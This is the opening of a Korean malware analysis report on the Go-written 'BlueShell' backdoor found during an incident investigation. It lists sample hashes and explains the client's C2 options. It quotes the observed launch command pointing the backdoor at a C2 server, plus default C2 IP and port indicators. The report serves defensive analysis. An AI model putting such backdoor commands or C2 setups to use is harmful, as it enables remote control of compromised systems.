1. 개요

공격자들은 탐지 회피 및 다양한 크로스플랫폼을 타겟으로 하기 위해 Go 언어로 작성된 악성코드를 공격에 활용하고 있다. Go 언어는 다양한 운영체제(윈도우, 리눅스, Mac)에 대한 크로스컴파일을 지원하며, 기존의 C와 같은 언어에 비해 비교적 새로운 언어이기 때문에 탐지 및 분석이 더 어려울 수 있다. 때문에 실제 침해사고 조사 과정에서도 Go 언어로 작성된 악성코드가 발견되곤 한다.

이번 보고서에서 다룰 분석 샘플은 실제 침해사고 사례에서 채증된 “BlueShell” 백도어 악성코드이다. 해당 악성코드는 깃허브에도 오픈소스로 공개되어 있는 Go 언어로 제작된 악성코드이며, 샘플 정보는 다음과 같다.

2. 분석 샘플 정보

구분 내용
파일명 test.exe
파일 크기 3,953,664 bytes
악성코드 유형 백도어 (BlueShell Client)
MD5 2DCF82DA55BAD2B9190329E0776E59E4
SHA1 582B1665BCC43CBE560147459C38DD05FBFA10AF
SHA256 83ea54755e54ee9cba39709a2cee6f472f983a85e7cd9756b8dd1aaca8233297
SSDEEP 49152:jo0ubgWbF3lwrb/TkvO90d7HjmAFd4A64nsfJUwdKbQXP9BNb4aV32Wzz8eRU2/f:EL3lkFzAoHYEjFf4gOwCAhcse9I
VirusTotal https://www.virustotal.com/gui/file/83ea54755e54ee9cba39709a2cee6f472f983a85e7cd9756b8dd1aaca8233297/detection

3. 상세 분석

해당 분석 샘플은 실행 인자로 3개의 옵션을 제공하며, 옵션은 생략할 수 있다.

<aside> 💡 분석 샘플 채증 당시, 침해 서버에서는 아래와 같은 커맨드라인으로 실행된 것으로 확인 test.exe -h 158.247.213[.]185 -p 443

</aside>

-h 옵션은 연결할 C2 서버의 IP를 지정하는 옵션이다. 옵션을 사용하지 않으면 디폴트로 “69.176.94[.]223” IP가 사용된다.

[그림 1] -h 옵션

[그림 1] -h 옵션

-p 옵션은 연결할 C2 서버의 포트번호를 지정하는 옵션이다. 옵션을 사용하지 않으면 디폴트로 “8080” 포트가 사용된다.

[그림 2] -p 옵션

[그림 2] -p 옵션